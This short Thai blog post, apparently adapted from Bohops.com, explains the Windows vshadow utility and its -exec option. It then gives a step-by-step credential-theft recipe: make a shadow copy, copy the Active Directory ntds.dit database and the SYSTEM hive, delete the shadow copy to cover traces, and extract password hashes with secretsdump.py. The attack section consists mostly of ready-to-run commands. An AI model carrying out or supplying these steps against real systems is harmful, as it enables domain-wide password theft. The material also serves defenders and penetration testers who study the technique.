vshadow เป็น command ที่ใช้สำหรับสร้าง/จัดการ volume shadow copies หรือก็คือคำสั่งที่ใช้สำหรับการจัดการพวก backup ของเครื่องนั่นเอง โดยเราสามารถ execute vshadow ได้ก็เมื่อเรามีสิทธิ์ของ administrator เท่านั้น
โดยตัว vshadow เองนั้นสามารถ execute command ใดๆได้เมื่อกระทำการใดๆกับ backup สำเร็จ (-exec option) โดยการใช้คำสั่งดังกล่าวจะรันได้เฉพาะไฟล์ที่เป็น .exe,.bat เท่านั้น และเมื่อรันขึ้นมาตัวโปรเซสนั้นก็จะกลายเป็น child process ของ vshadow.exe
|
1 |
vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c: |
โดยการรัน vshadow.exe นั้นจะไปปลุก Volume Shadow Service (VSS Service: VSSVC.exe) ขึ้นมา แล้วทำให้เกิด System log event 7036 ขึ้นมา
เราสามารถกระทำการ backup OS เพื่อไปทำ Dump password ต่อได้โดยใช้เป็น
1. Create copy of OS
|
1 |
vshadow.exe -p -nw C: |
2. Copy the the AD Database from the shadow copy using the Volume name as follows
|
1 |
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\ntds.dit.bak |
3. Extract the SYSTEM hive from the Registry
|
1 |
reg.exe save hklm\system c:\temp\system.bak |
4. Let’s clean up and remove our shadow copy by specifying the shadow set ID:
|
1 |
vshadow -dx={46d3c3ee-2840-4152-ba5c-450ea401869a} |
5. Dump the hash with secretdump.py
|
1 |
secretsdump.py -ntds ntds.dit.bak -system system.bak LOCAL |
Source:: Bohops.com
You May also Like
LINE@Techsuii.com
